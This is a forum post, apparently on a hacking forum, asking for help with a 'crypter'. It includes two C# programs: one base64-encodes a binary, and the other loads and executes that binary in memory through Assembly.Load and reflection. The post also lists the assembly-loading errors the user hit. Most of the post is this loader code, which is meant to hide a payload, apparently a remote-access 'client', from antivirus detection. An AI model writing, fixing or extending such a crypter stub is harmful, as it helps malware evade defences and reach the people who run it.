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Thread: [crypter using base64 encoded binary?](#)

littlephish420 - September 6, 2023, 11:27 am

i keep getting the following errors: Error loading or executing the binary data: Could not load file or assembly 'client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'.

Error loading or executing the binary data: Bad IL format.

idk if this approach works or not but any help'd be appreciated.

Code using System;
using System.IO;

```
class Program
{
    static void Main()
    {
        string inputFilePath = "YourBinaryFile.bin"; // Replace with your input binary file path
        string outputFilePath = "Base64Data.txt"; // Replace with your output Base64 data file path

        try
        {
            // Read the binary data from the input file
            byte[] binaryData = File.ReadAllBytes(inputFilePath);

            // Convert the binary data to Base64
            string base64Data = Convert.ToBase64String(binaryData);

            // Write the Base64 data to the output file
            File.WriteAllText(outputFilePath, base64Data);

            Console.WriteLine("Binary file encoded to Base64 successfully.");
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error encoding the binary file: " + ex.Message);
        }
    }
}
```

Code using System;
using System.IO;
using System.Reflection;
using System.Text;

class Program

```

{
    static void Main()
    {
        // Specify the path to the file containing the Base64-encoded code
        string filePath = "Base64Data.txt"; // Replace with your file path

        try
        {
            // Read the Base64-encoded string from the file
            string base64Code = File.ReadAllText(filePath);

            // Convert the Base64 string to a byte array
            byte[] assemblyBytes = Convert.FromBase64String(base64Code);

            // Load the assembly directly into the current AppDomain
            Assembly assembly = Assembly.Load(assemblyBytes);

            // Find and execute the entry point (assuming it's a static method)
            Type entryPointType = assembly.GetType("Client.Program");
            if (entryPointType != null)
            {
                MethodInfo entryPoint = entryPointType.GetMethod("Main");
                if (entryPoint != null)
                {
                    // Invoke the entry point method
                    entryPoint.Invoke(null, null);
                }
                else
                {
                    Console.WriteLine("Entry point method 'Main' not found.");
                }
            }
            else
            {
                Console.WriteLine("Class 'Client.program' not found.");
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error executing code: " + ex.Message);
        }
    }
}

```